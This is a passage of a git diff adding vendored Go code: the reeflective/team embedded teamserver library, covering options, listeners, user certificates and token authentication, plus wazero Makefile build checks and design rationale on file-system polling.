option will thus trigger an error whenever the option is applied, +// whether it be at teamserver creation, or when it does start listeners. +// +// This option can only be used once, and must be passed to server.New(). +func WithInMemory() Options { + return func(opts *opts) { + opts.noLogs = true + opts.inMemory = true + } +} + +// WithDefaultPort sets the default port on which the teamserver should start listeners. +// This default is used in the default daemon configuration, and as command flags defaults. +// The default port set for teamserver applications is port 31416. +// +// This option can only be used once, and must be passed to server.New(). +func WithDefaultPort(port uint16) Options { + return func(opts *opts) { + opts.config.DaemonMode.Port = int(port) + } +} + +// WithDatabase sets the server database to an existing database. +// Note that it will run an automigration of the teamserver types (certificates and users). +// +// This option can only be used once, and must be passed to server.New(). +func WithDatabase(db *gorm.DB) Options { + return func(opts *opts) { + opts.db = db + } +} + +// WithDatabaseConfig sets the server to use a database backend with a given configuration. +// +// This option can only be used once, and must be passed to server.New(). +func WithDatabaseConfig(config *db.Config) Options { + return func(opts *opts) { + opts.dbConfig = config + } +} + +// WithHomeDirectory sets the default path (~/.app/) of the application directory. +// This path can still be overridden at the user-level with the env var APP_ROOT_DIR. +// +// This option can only be used once, and must be passed to server.New(). +func WithHomeDirectory(path string) Options { + return func(opts *opts) { + opts.homeDir = path + } +} + +// WithTeamDirectory sets the name (not a path) of the teamserver-specific subdirectory. +// For example, passing "my_server_dir" will make the teamserver use ~/.app/my_server_dir/ +// instead of ~/.app/teamserver/. +// If this function is called with an empty string, the teamserver will not use any +// subdirectory for its own outputs, thus using ~/.app as its teamserver directory. +// +// This option can only be used once, and must be passed to server.New(). +func WithTeamDirectory(name string) Options { + return func(opts *opts) { + if name == "" { + name = noTeamdir + } + + opts.teamDir = name + } +} + +// +// *** Logging options *** +// + +// WithNoLogs deactivates all logging normally done by the teamserver +// if noLogs is set to true, or keeps/reestablishes them if false. +// +// This option can only be used once, and must be passed to server.New(). +func WithNoLogs(noLogs bool) Options { + return func(opts *opts) { + opts.noLogs = noLogs + } +} + +// WithLogFile sets the path to the file where teamserver logging should be done. +// The default path is ~/.app/teamserver/logs/app.teamserver.log. +// +// This option can only be used once, and must be passed to server.New(). +func WithLogFile(filePath string) Options { + return func(opts *opts) { + opts.logFile = filePath + } +} + +// WithLogger sets the teamserver to use a specific logger for +// all logging, except the audit log which is indenpendent. +// +// This option can only be used once, and must be passed to server.New(). +func WithLogger(logger *logrus.Logger) Options { + return func(opts *opts) { + opts.logger = logger + } +} + +// +// *** Server network/RPC options *** +// + +// WithListener registers a listener/server stack with the teamserver. +// The teamserver can then serve this listener stack for any number of bind +// addresses, which users can trigger through the various server.Serve*() methods. +// +// It accepts an optional list of pre-serve hook functions: +// These should accept a generic object parameter which is none other than the +// serverConn returned by the listener.Serve(ln) method. These hooks will +// be very useful- if not necessary- for library users to manipulate their server. +// See the server.Listener type documentation for details. +// +// This option can be used multiple times, either when using +// team/server.New() or with the different server.Serve*() methods. +func WithListener(ln Listener) Options { + return func(opts *opts) { + if ln == nil { + return + } + + opts.listeners = append(opts.listeners, ln) + } +} + +// WithContinueOnError sets the server behavior when starting persistent listeners +// (either automatically when calling teamserver.ServeDaemon(), or when using +// teamserver.StartPersistentListeners()). +// If true, an error raised by a listener will not prevent others to try starting, and +// errors will be joined into a single one, separated with newlines and logged by default. +// The teamserver has this set to false by default. +// +// This option can be used multiple times. +func WithContinueOnError(continueOnError bool) Options { + return func(opts *opts) { + opts.continueOnError = continueOnError + } +} diff --git a/vendor/github.com/reeflective/team/server/server.go b/vendor/github.com/reeflective/team/server/server.go new file mode 100644 index 0000000000..08e24e4974 --- /dev/null +++ b/vendor/github.com/reeflective/team/server/server.go @@ -0,0 +1,269 @@ +package server + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "fmt" + "net" + "os" + "os/signal" + "regexp" + "runtime/debug" + "syscall" + + "github.com/reeflective/team/client" + "github.com/reeflective/team/internal/certs" +) + +// Listener represents a teamserver listener stack. +// Any type implementing this interface can be served and controlled +// by a team/server.Server core, and remote clients can connect to it +// with the appropriate/corresponding team/client.Dialer backend. +// +// Errors: all errors returned by the listener interface methods are considered critical, +// (except the Close() error one), and thus will stop the listener start/server process +// when raised. Thus, you should only return errors that are critical to the operation +// of your listener. You can use the teamserver loggers to log/print non-critical ones. +type Listener interface { + // Name returns the name of the "listener/server/RPC" stack + // of this listener, eg. "gRPC" for a gRPC listener, "myCustomHTTP" + // for your quick-and-dirty custom stack, etc. + // Note that this name is used as a key by the teamserver to store the + // different listener stacks it may use, so this name should be unique + // among all listener stacks registered to a given teamserver runtime. + Name() string + + // Init is used by the listener to access the core teamserver, needed for: + // - Fetching server-side transport/session-level credentials. + // - Authenticating users connections/requests. + // - Using the builtin teamserver loggers, filesystem and other utilities. + // Any non-nil error returned will abort the listener starting process. + Init(s *Server) error + + // Listen is used to create and bind a network listener to some address + // Implementations are free to handle incoming connections the way they + // want, since they have had access to the server in Init() for anything + // related they might need. + // As an example, the gRPC default transport serves a gRPC server on this + // listener, registers its RPC services, and returns the listener for the + // teamserver to wrap it in job control. + // This call MUST NOT block, just like the normal usage of net.Listeners. + Listen(addr string) (ln net.Listener, err error) + + // Close should close the listener stack. + // This can mean different things depending on use case, but some are not recommended. + // - It can simply close the "listener" layer without shutting down the "server/RPC" layer. + // - It can shutdown anything, thus in effect disconnecting all of its clients from server. + Close() error +} + +// Serve attempts the default listener of the teamserver (which is either +// the first one to have been registered, or the only one registered at all). +// It the responsibility of any teamclients produced by the teamserver.Self() +// method to call their Connect() method: the server will answer. +func (ts *Server) Serve(cli *client.Client, opts ...Options) error { + if ts.self == nil { + return ErrNoListener + } + + // Some errors might come from user-provided hooks, + // so we don't wrap errors again, our own errors + // have been prepared accordingly in this call. + err := ts.serve(ts.self, "", "", 0, opts...) + if err != nil { + return err + } + + // Use a fake config with a non-empty name. + cliOpts := []client.Options{ + client.WithConfig(&client.Config{User: "server"}), + } + + return cli.Connect(cliOpts...) +} + +// ServeDaemon is a blocking call which starts the teamserver as daemon process, using +// either the provided host:port arguments, or the ones found in the teamserver config. +// This function will also (and is the only one to) start all persistent team listeners. +// +// It blocks by waiting for a syscal.SIGTERM (eg. CtrlC on Linux) signal. Upon receival, +// the teamserver will close the main listener (the daemon one), but not persistent ones. +// +// Errors raised by closing the listener are wrapped in an ErrListener, logged and returned. +func (ts *Server) ServeDaemon(host string, port uint16, opts ...Options) (err error) { + log := ts.NamedLogger("daemon", "main") + + // cli args take president over config + if host == blankHost { + host = ts.opts.config.DaemonMode.Host + log.Debugf("No host specified, using config file default: %s", host) + } + + if port == blankPort { + port = uint16(ts.opts.config.DaemonMode.Port) + log.Debugf("No port specified, using config file default: %d", port) + } + + defer func() { + if r := recover(); r != nil { + log.Errorf("panic:\n%s", debug.Stack()) + } + }() + + // Start the listener. + log.Infof("Starting %s teamserver daemon on %s:%d ...", ts.Name(), host, port) + + listenerID, err := ts.ServeAddr(ts.self.Name(), host, port, opts...) + if err != nil { + return err + } + + // Now that the main teamserver listener is started, + // we can start all our persistent teamserver listeners. + // That way, if any of them collides with our current bind, + // we just serve it for him + hostPort := regexp.MustCompile(fmt.Sprintf("%s:%d", host, port)) + + err = ts.ListenerStartPersistents() + if err != nil && hostPort.MatchString(err.Error()) { + log.Errorf("Error starting persistent listeners: %s\n", err) + } + + done := make(chan bool) + signals := make(chan os.Signal, 1) + signal.Notify(signals, syscall.SIGTERM) + + go func() { + <-signals + log.Infof("Received SIGTERM, exiting ...") + + err = ts.ListenerClose(listenerID) + if err != nil { + log.Errorf("%s: %s", ErrListener, err) + } + done <- true + }() + <-done + + return err +} + +// ServeAddr attempts to serve a listener stack identified by "name" (the listener should be registered +// with the teamserver with WithListener() option), on a given host:port address, with any provided option. +// If returns either a critical error raised by the listener, or the ID of the listener job, for control. +// The call is non-blocking, contrarily to the server.ServeDaemon() method. +func (ts *Server) ServeAddr(name string, host string, port uint16, opts ...Options) (id string, err error) { + // If server was not initialized yet, do it. + // This at least will update any listener/server-specific options. + err = ts.init(opts...) + if err != nil { + return "", ts.errorf("%w: %w", ErrTeamServer, err) + } + + // Ensure we have at least one available listener. + handler := ts.handlers[name] + + if handler == nil { + handler = ts.self + } + + if handler == nil { + return "", ErrNoListener + } + + // Generate the listener ID now so we can return it. + listenerID := getRandomID() + + err = ts.serve(handler, listenerID, host, port, opts...) + + return listenerID, err +} + +// serve will attempt to serve a given listener/server stack to a given (host:port) address. +// If the ID parameter is empty, a job ID for this listener will be automatically generated. +// Any errors raised by the listener itself are considered critical and returned wrapped in a ListenerErr. +func (ts *Server) serve(ln Listener, ID, host string, port uint16, opts ...Options) error { + log := ts.NamedLogger("teamserver", "handler") + + // If server was not initialized yet, do it. + // This has no effect redundant with the ServeAddr() method. + err := ts.init(opts...) + if err != nil { + return ts.errorf("%w: %w", ErrTeamServer, err) + } + + // Let the handler initialize itself: load everything it needs from + // the server, configuration, fetch certificates, log stuff, etc. + err = ln.Init(ts) + if err != nil { + return ts.errorWith(log, "%w: %w", ErrListener, err) + } + + // Now let the handler start listening on somewhere. + laddr := fmt.Sprintf("%s:%d", host, port) + + // This call should not block, serve the listener immediately. + listener, err := ln.Listen(laddr) + if err != nil { + return ts.errorWith(log, "%w: %w", ErrListener, err) + } + + // The server is running, so add a job anyway. + ts.addListenerJob(ID, ln.Name(), host, int(port), listener) + + return nil +} + +// Handlers returns a copy of its teamserver listeners map. +// This can be useful if you want to start them with the server ServeListener() method. +// Or -but this is not recommended by this library- to use those listeners without the +// teamserver driving the init/start/serve/stop process. +func (ts *Server) Handlers() map[string]Listener { + handlers := make(map[string]Listener, len(ts.handlers)) + + for name, handler := range ts.handlers { + handlers[name] = handler + } + + return handlers +} + +func (ts *Server) init(opts ...Options) error { + var err error + + // Always reaply options, since it could be used by different listeners. + ts.apply(opts...) + + ts.initServe.Do(func() { + // Database configuration. + if err = ts.initDatabase(); err != nil { + return + } + + // Load any relevant server configuration: on disk, + // contained in options, or the default one. + ts.opts.config = ts.GetConfig() + + // Certificate infrastructure, will make the code panic if unable to work properly. + certsLog := ts.NamedLogger("certs", "certificates") + ts.certs = certs.NewManager(ts.fs, ts.dbSession(), certsLog, ts.Name(), ts.TeamDir()) + }) + + return err +} diff --git a/vendor/github.com/reeflective/team/server/users.go b/vendor/github.com/reeflective/team/server/users.go new file mode 100644 index 0000000000..d94ac9d0f6 --- /dev/null +++ b/vendor/github.com/reeflective/team/server/users.go @@ -0,0 +1,335 @@ +package server + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "crypto/rand" + "crypto/sha256" + "crypto/tls" + "crypto/x509" + "encoding/hex" + "errors" + "fmt" + "regexp" + "sync" + "time" + + "github.com/reeflective/team/client" + "github.com/reeflective/team/internal/certs" + "github.com/reeflective/team/internal/db" +) + +var namePattern = regexp.MustCompile("^[a-zA-Z0-9_-]*$") // Only allow alphanumeric chars + +// UserCreate creates a new teamserver user, with all cryptographic material and server remote +// endpoints needed by this user to connect to us. +// +// Certificate files and the API authentication token are saved into the teamserver database, +// conformingly to its configured backend/filesystem (can be in-memory or on filesystem). +func (ts *Server) UserCreate(name string, lhost string, lport uint16) (*client.Config, error) { + if err := ts.initDatabase(); err != nil { + return nil, ts.errorf("%w: %w", ErrDatabase, err) + } + + if !namePattern.MatchString(name) { + return nil, ts.errorf("%w: invalid user name (alphanumerics only)", ErrUserConfig) + } + + if name == "" { + return nil, ts.errorf("%w: user name required ", ErrUserConfig) + } + + if lhost == "" { + return nil, ts.errorf("%w: invalid team server host (empty)", ErrUserConfig) + } + + if lport == blankPort { + lport = uint16(ts.opts.config.DaemonMode.Port) + } + + rawToken, err := ts.newUserToken() + if err != nil { + return nil, ts.errorf("%w: %w", ErrUserConfig, err) + } + + digest := sha256.Sum256([]byte(rawToken)) + dbuser := &db.User{ + Name: name, + Token: hex.EncodeToString(digest[:]), + } + + err = ts.dbSession().Save(dbuser).Error + if err != nil { + return nil, ts.errorf("%w: %w", ErrDatabase, err) + } + + publicKey, privateKey, err := ts.certs.UserClientGenerateCertificate(name) + if err != nil { + return nil, ts.errorf("%w: failed to generate certificate %w", ErrCertificate, err) + } + + caCertPEM, _, _ := ts.certs.GetUsersCAPEM() + config := client.Config{ + User: name, + Token: rawToken, + Host: lhost, + Port: int(lport), + CACertificate: string(caCertPEM), + PrivateKey: string(privateKey), + Certificate: string(publicKey), + } + + return &config, nil +} + +// UserDelete deletes a user and its cryptographic materials from +// the teamserver database, clearing the API auth tokens cache. +// +// WARN: This function has two very precise effects/consequences: +// 1. The server-side Mutual TLS configuration obtained with server.GetUserTLSConfig() +// will refuse all connections using the deleted user TLS credentials, returning +// an authentication failure. +// 2. The server.AuthenticateUser(token) method will always return an ErrUnauthenticated +// error from the call, because the delete user is not in the database anymore. +// +// Thus, it is up to the users of this library to use the builting teamserver TLS +// configurations in their teamserver listener / teamclient dialer implementations. +// +// Certificate files, API authentication token are deleted from the teamserver database, +// conformingly to its configured backend/filesystem (can be in-memory or on filesystem). +func (ts *Server) UserDelete(name string) error { + if err := ts.initDatabase(); err != nil { + return ts.errorf("%w: %w", ErrDatabase, err) + } + + err := ts.dbSession().Where(&db.User{ + Name: name, + }).Delete(&db.User{}).Error + if err != nil { + return err + } + + // Clear the token cache so that all requests from + // connected clients of this user are now refused. + ts.userTokens = &sync.Map{} + + return ts.certs.UserClientRemoveCertificate(name) +} + +// UserAuthenticate accepts a raw 128-bits long API Authentication token belonging to the +// user of a connected/connecting teamclient. The token is hashed and checked against the +// teamserver users database for the matching user. +// This function shall alternatively return: +// - The name of the authenticated user, true for authenticated and no error. +// - No name, false for authenticated, and an ErrUnauthenticated error. +// - No name, false for authenticated, and a database error, if was ignited now. +// +// This call updates the last time the user has been seen by the server. +func (ts *Server) UserAuthenticate(rawToken string) (name string, authorized bool, err error) { + if err := ts.initDatabase(); err != nil { + return "", false, ts.errorf("%w: %w", ErrDatabase, err) + } + + log := ts.NamedLogger("server", "auth") + log.Debugf("Authorization-checking user token ...") + + // Check auth cache + digest := sha256.Sum256([]byte(rawToken)) + token := hex.EncodeToString(digest[:]) + + if name, ok := ts.userTokens.Load(token); ok { + log.Debugf("Token in cache!") + ts.updateLastSeen(name.(string)) + return name.(string), true, nil + } + + user, err := ts.userByToken(token) + if err != nil || user == nil { + return "", false, ts.errorf("%w: %w", ErrUnauthenticated, err) + } + + ts.updateLastSeen(user.Name) + + log.Debugf("Valid user token for %s", user.Name) + ts.userTokens.Store(token, user.Name) + + return user.Name, true, nil +} + +// UsersTLSConfig returns a server-side Mutual TLS configuration struct, ready to run. +// The configuration performs all and every verifications that the teamserver should do, +// and peer TLS clients (teamclient.Config) are not allowed to choose any TLS parameters. +// +// This should be used by team/server.Listeners at the net.Listener/net.Conn level. +// As for all errors of the teamserver API, any error returned here is defered-logged. +func (ts *Server) UsersTLSConfig() (*tls.Config, error) { + log := ts.NamedLogger("certs", "mtls") + + if err := ts.initDatabase(); err != nil { + return nil, ts.errorf("%w: %w", ErrDatabase, err) + } + + caCertPtr, _, err := ts.certs.GetUsersCA() + if err != nil { + return nil, ts.errorWith(log, "%w: failed to get users certificate authority: %w", ErrCertificate, err) + } + + caCertPool := x509.NewCertPool() + caCertPool.AddCert(caCertPtr) + + _, _, err = ts.certs.UserServerGetCertificate() + if errors.Is(err, certs.ErrCertDoesNotExist) { + if _, _, err := ts.certs.UserServerGenerateCertificate(); err != nil { + return nil, ts.errorWith(log, err.Error()) + } + } + + certPEM, keyPEM, err := ts.certs.UserServerGetCertificate() + if err != nil { + return nil, ts.errorWith(log, "%w: failed to generated or fetch user certificate: %w", ErrCertificate, err) + } + + cert, err := tls.X509KeyPair(certPEM, keyPEM) + if err != nil { + return nil, ts.errorWith(log, "%w: failed to load server certificate: %w", ErrCertificate, err) + } + + tlsConfig := &tls.Config{ + RootCAs: caCertPool, + ClientAuth: tls.RequireAndVerifyClientCert, + ClientCAs: caCertPool, + Certificates: []tls.Certificate{cert}, + MinVersion: tls.VersionTLS13, + } + + if keyLogger := ts.certs.OpenTLSKeyLogFile(); keyLogger != nil { + tlsConfig.KeyLogWriter = ts.certs.OpenTLSKeyLogFile() + } + + return tlsConfig, nil +} + +// UsersGetCA returns the bytes of a PEM-encoded certificate authority, +// which contains certificates of all users of this teamserver. +func (ts *Server) UsersGetCA() ([]byte, []byte, error) { + if err := ts.initDatabase(); err != nil { + return nil, nil, ts.errorf("%w: %w", ErrDatabase, err) + } + + return ts.certs.GetUsersCAPEM() +} + +// UsersSaveCA accepts the public and private parts of a Certificate +// Authority containing one or more users to add to the teamserver. +func (ts *Server) UsersSaveCA(cert, key []byte) { + if err := ts.initDatabase(); err != nil { + return + } + + ts.certs.SaveUsersCA(cert, key) +} + +// newUserToken - Generate a new user authentication token. +func (ts *Server) newUserToken() (string, error) { + buf := make([]byte, tokenLength) + + n, err := rand.Read(buf) + if err != nil || n != len(buf) { + return "", fmt.Errorf("%w: %w", ErrSecureRandFailed, err) + } else if n != len(buf) { + return "", ErrSecureRandFailed + } + + return hex.EncodeToString(buf), nil +} + +// userByToken - Select a teamserver user by token value. +func (ts *Server) userByToken(value string) (*db.User, error) { + if len(value) < 1 { + return nil, db.ErrRecordNotFound + } + + user := &db.User{} + err := ts.dbSession().Where(&db.User{ + Token: value, + }).First(user).Error + + return user, err +} + +func (ts *Server) updateLastSeen(name string) { + lastSeen := time.Now().Round(1 * time.Second) + ts.dbSession().Model(&db.User{}).Where("name", name).Update("LastSeen", lastSeen) +} + +// func TestRootOnlyVerifyCertificate(t *testing.T) { +// certs.SetupCAs() +// +// data, err := NewOperatorConfig("zerocool", "localhost", uint16(1337)) +// if err != nil { +// t.Fatalf("failed to generate test player profile %s", err) +// } +// config := &ClientConfig{} +// err = json.Unmarshal(data, config) +// if err != nil { +// t.Fatalf("failed to parse client config %s", err) +// } +// +// _, _, err = certs.OperatorServerGetCertificate("localhost") +// if err == certs.ErrCertDoesNotExist { +// certs.OperatorServerGenerateCertificate("localhost") +// } +// +// // Test with a valid certificate +// certPEM, _, _ := certs.OperatorServerGetCertificate("localhost") +// block, _ := pem.Decode(certPEM) +// err = clienttransport.RootOnlyVerifyCertificate(config.CACertificate, [][]byte{block.Bytes}) +// if err != nil { +// t.Fatalf("root only verify certificate error: %s", err) +// } +// +// // Test with wrong CA +// wrongCert, _ := certs.GenerateECCCertificate(certs.HTTPSCA, "foobar", false, false) +// block, _ = pem.Decode(wrongCert) +// err = clienttransport.RootOnlyVerifyCertificate(config.CACertificate, [][]byte{block.Bytes}) +// if err == nil { +// t.Fatal("root only verify cert verified a certificate with invalid ca!") +// } +// +// } + +// func TestOperatorGenerateCertificate(t *testing.T) { +// GenerateCertificateAuthority(OperatorCA, "") +// cert1, key1, err := OperatorClientGenerateCertificate("test3") +// if err != nil { +// t.Errorf("Failed to store ecc certificate %v", err) +// return +// } +// +// cert2, key2, err := OperatorClientGetCertificate("test3") +// if err != nil { +// t.Errorf("Failed to get ecc certificate %v", err) +// return +// } +// +// if !bytes.Equal(cert1, cert2) || !bytes.Equal(key1, key2) { +// t.Errorf("Stored ecc cert/key does match generated cert/key: %v != %v", cert1, cert2) +// return +// } +// } diff --git a/vendor/github.com/reeflective/team/teamclient.go b/vendor/github.com/reeflective/team/teamclient.go new file mode 100644 index 0000000000..07fdefd54a --- /dev/null +++ b/vendor/github.com/reeflective/team/teamclient.go @@ -0,0 +1,70 @@ +package team + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import "time" + +// Client is the smallest interface which should be implemented by all +// teamclients of any sort, regardless of their use of the client/server +// packages in the reeflective/team Go module. +// This interface has been declared with various aims in mind: +// - To provide a base reference/hint about what minimum functionality +// is to be provided by the teamclients and teamservers alike. +// - To harmonize the use of team/client and team/server core drivers. +type Client interface { + // Users returns the list of teamserver users and their status. + Users() ([]User, error) + // VersionClient returns the compilation/version information for the client. + VersionClient() (Version, error) + // VersionServer returns the compilation/version information from a connected teamserver. + VersionServer() (Version, error) +} + +// User represents a teamserver user. +// This user shall be registered to a teamserver (ie. the teamserver should +// be in possession of the user cryptographic materials required to serve him) +// This type is returned by both team/clients and team/servers. +type User struct { + Name string + Online bool + LastSeen time.Time + Clients int +} + +// Version returns complete version/compilation information for a given binary. +// Therefore, two distinct version information can be provided by a teamclient +// connected to a remote (distinct runtime) server: the client binary version, +// and the server binary version. +// When a teamserver is serving itself in-memory, both versions will thus be identical. +// +// Note to developers: updating your teamserver/teamclient version information +// requires you to use `go generate ./...` at the root of your Go module code. +// The team/server and team/client will thus embed their respective version +// informations thanks to an automatic shell script generation. +// See the https://github.com/reeflective/team README/doc for more details. +type Version struct { + Major int32 + Minor int32 + Patch int32 + Commit string + Dirty bool + CompiledAt int64 + OS string + Arch string +} diff --git a/vendor/github.com/tetratelabs/wazero/Makefile b/vendor/github.com/tetratelabs/wazero/Makefile index 5c7eae416f..4ed46536ee 100644 --- a/vendor/github.com/tetratelabs/wazero/Makefile +++ b/vendor/github.com/tetratelabs/wazero/Makefile @@ -212,6 +212,10 @@ check: # This makes sure the intepreter can be used. Most often the package that can # drift here is "platform" or "sysfs": # +# Ensure we build on plan9. See #1578 + @GOARCH=amd64 GOOS=plan9 go build ./... +# Ensure we build on gojs. See #1526. TODO: add GOOS=wasi as well. + @GOARCH=wasm GOOS=js go build ./... # Ensure we build on windows: @GOARCH=amd64 GOOS=windows go build ./... # Ensure we build on an arbitrary operating system: diff --git a/vendor/github.com/tetratelabs/wazero/RATIONALE.md b/vendor/github.com/tetratelabs/wazero/RATIONALE.md index 32a0da20e6..d8a1d12e2b 100644 --- a/vendor/github.com/tetratelabs/wazero/RATIONALE.md +++ b/vendor/github.com/tetratelabs/wazero/RATIONALE.md @@ -616,6 +616,135 @@ act differently and document `ModuleConfig` is more about emulating, not necessa ## File systems +### Motivation on `sys.FS` + +The `sys.FS` abstraction in wazero was created because of limitations in +`fs.FS`, and `fs.File` in Go. Compilers targeting `wasip1` may access +functionality that writes new files. The ability to overcome this was requested +even before wazero was named this, via issue #21 in March 2021. + +A month later, golang/go#45757 was raised by someone else on the same topic. As +of July 2023, this has not resolved to a writeable file system abstraction. + +Over the next year more use cases accumulated, consolidated in March 2022 into +#390. This closed in January 2023 with a milestone of providing more +functionality, limited to users giving a real directory. This didn't yet expose +a file abstraction for general purpose use. Internally, this used `os.File`. +However, a wasm module instance is a virtual machine. Only supporting `os.File` +breaks sand-boxing use cases. Moreover, `os.File` is not an interface. Even +though this abstracts functionality, it does allow interception use cases. + +Hence, a few days later in January 2023, we had more issues asking to expose an +abstraction, #1013 and later #1532, on use cases like masking access to files. +In other words, the use case requests never stopped, and aren't solved by +exposing only real files. + +In summary, the primary motivation for exposing a replacement for `fs.FS` and +`fs.File` was around repetitive use case requests for years, around +interception and the ability to create new files, both virtual and real files. +While some use cases are solved with real files, not all are. Regardless, an +interface approach is necessary to ensure users can intercept I/O operations. + +### Why doesn't `sys.File` have a `Fd()` method? + +There are many features we could expose. We could make File expose underlying +file descriptors in case they are supported, for integration of system calls +that accept multiple ones, namely `poll` for multiplexing. This special case is +described in a subsequent section. + +As noted above, users have been asking for a file abstraction for over two +years, and a common answer was to wait. Making users wait is a problem, +especially so long. Good reasons to make people wait are stabilization. Edge +case features are not a great reason to hold abstractions from users. + +Another reason is implementation difficulty. Go did not attempt to abstract +file descriptors. For example, unlike `fs.ReadFile` there is no `fs.FdFile` +interface. Most likely, this is because file descriptors are an implementation +detail of common features. Programming languages, including Go, do not require +end users to know about file descriptors. Types such as `fs.File` can be used +without any knowledge of them. Implementations may or may not have file +descriptors. For example, in Go, `os.DirFS` has underlying file descriptors +while `embed.FS` does not. + +Despite this, some may want to expose a non-standard interface because +`os.File` has `Fd() uintptr` to return a file descriptor. Mainly, this is +handy to integrate with `syscall` package functions (on `GOOS` values that +declare them). Notice, though that `uintptr` is unsafe and not an abstraction. +Close inspection will find some `os.File` types internally use `poll.FD` +instead, yet this is not possible to use abstractly because that type is not +exposed. For example, `plan9` uses a different type than `poll.FD`. In other +words, even in real files, `Fd()` is not wholly portable, despite it being +useful on many operating systems with the `syscall` package. + +The reasons above, why Go doesn't abstract `FdFile` interface are a subset of +reasons why `sys.File` does not. If we exposed `File.Fd()` we not only would +have to declare all the edge cases that Go describes including impact of +finalizers, we would have to describe these in terms of virtualized files. +Then, we would have to reason with this value vs our existing virtualized +`sys.FileTable`, mapping whatever type we return to keys in that table, also +in consideration of garbage collection impact. The combination of issues like +this could lead down a path of not implementing a file system abstraction at +all, and instead a weak key mapped abstraction of the `syscall` package. Once +we finished with all the edge cases, we would have lost context of the original +reason why we started.. simply to allow file write access! + +When wazero attempts to do more than what the Go programming language team, it +has to be carefully evaluated, to: +* Be possible to implement at least for `os.File` backed files +* Not be confusing or cognitively hard for virtual file systems and normal use. +* Affordable: custom code is solely the responsible by the core team, a much + smaller group of individuals than who maintain the Go programming language. + +Due to problems well known in Go, consideration of the end users who constantly +ask for basic file system functionality, and the difficulty virtualizing file +descriptors at multiple levels, we don't expose `Fd()` and likely won't ever +expose `Fd()` on `sys.File`. + +### Why does `sys.File` have a `Poll()` method, while `sys.FS` does not? + +wazero exposes `File.Poll` which allows one-at-a-time poll use cases, +requested by multiple users. This not only includes abstract tests such as +Go 1.21 `GOOS=wasip1`, but real use cases including python and container2wasm +repls, as well listen sockets. The main use cases is non-blocking poll on a +single file. Being a single file, this has no risk of problems such as +head-of-line blocking, even when emulated. + +The main use case of multi-poll are bidirectional network services, something +not used in `GOOS=wasip1` standard libraries, but could be in the future. +Moving forward without a multi-poller allows wazero to expose its file system +abstraction instead of continuing to hold back it back for edge cases. We'll +continue discussion below regardless, as rationale was requested. + +You can loop through multiple `sys.File`, using `File.Poll` to see if an event +is ready, but there is a head-of-line blocking problem. If a long timeout is +used, bad luck could have a file that has nothing to read or write before one +that does. This could cause more blocking than necessary, even if you could +poll the others just after with a zero timeout. What's worse than this is if +unlimited blocking was used (`timeout=-1`). The host implementations could use +goroutines to avoid this, but interrupting a "forever" poll is problematic. All +of these are reasons to consider a multi-poll API, but do not require exporting +`File.Fd()`. + +Should multi-poll becomes critical, `sys.FS` could expose a `Poll` function +like below, despite it being the non-portable, complicated if possible to +implement on all platforms and virtual file systems. +```go +ready, errno := fs.Poll([]sys.PollFile{{f1, sys.POLLIN}, {f2, sys.POLLOUT}}, timeoutMillis) +``` + +A real filesystem could handle this by using an approach like the internal +`unix.Poll` function in Go, passing file descriptors on unix platforms, or +returning `sys.ENOSYS` for unsupported operating systems. Implementation for +virtual files could have a strategy around timeout to avoid the worst case of +head-of-line blocking (unlimited timeout). + +Let's remember that when designing abstractions, it is not best to add an +interface for everything. Certainly, Go doesn't, as evidenced by them not +exposing `poll.FD` in `os.File`! Such a multi-poll could be limited to +built-in filesystems in the wazero repository, avoiding complexity of trying to +support and test this abstractly. This would still permit multiplexing for CLI +users, and also permit single file polling as exists now. + ### Why doesn't wazero implement the working directory? An early design of wazero's API included a `WithWorkDirFS` which allowed @@ -1270,19 +1399,18 @@ as for regular file descriptors: data is assumed to be present and a success is written back to the result buffer. However, if the reader is detected to read from `os.Stdin`, -a special code path is followed, invoking `platform.Select()`. +a special code path is followed, invoking `sysfs.poll()`. -`platform.Select()` is a wrapper for `select(2)` on POSIX systems, +`sysfs.poll()` is a wrapper for `poll(2)` on POSIX systems, and it is emulated on Windows. -### Select on POSIX +### Poll on POSIX -On POSIX systems,`select(2)` allows to wait for incoming data on a file +On POSIX systems, `poll(2)` allows to wait for incoming data on a file descriptor, and block until either data becomes available or the timeout -expires. It is not surprising that `select(2)` and `poll(2)` have lot in common: -the main difference is how the file descriptor parameters are passed. +expires. -Usage of `platform.Select()` is only reserved for the standard input case, because +Usage of `syfs.poll()` is currently only reserved for standard input, because 1. it is really only necessary to handle interactive input: otherwise, there is no way in Go to peek from Standard Input without actually @@ -1291,11 +1419,11 @@ Usage of `platform.Select()` is only reserved for the standard input case, becau 2. if `Stdin` is connected to a pipe, it is ok in most cases to return with success immediately; -3. `platform.Select()` is currently a blocking call, irrespective of goroutines, +3. `syfs.poll()` is currently a blocking call, irrespective of goroutines, because the underlying syscall is; thus, it is better to limit its usage. So, if the subscription is for `os.Stdin` and the handle is detected -to correspond to an interactive session, then `platform.Select()` will be +to correspond to an interactive session, then `sysfs.poll()` will be invoked with a the `Stdin` handle *and* the timeout. This also means that in this specific case, the timeout is uninterruptible, @@ -1303,35 +1431,46 @@ unless data becomes available on `Stdin` itself. ### Select on Windows -On Windows `platform.Select()` cannot be delegated to a single +On Windows 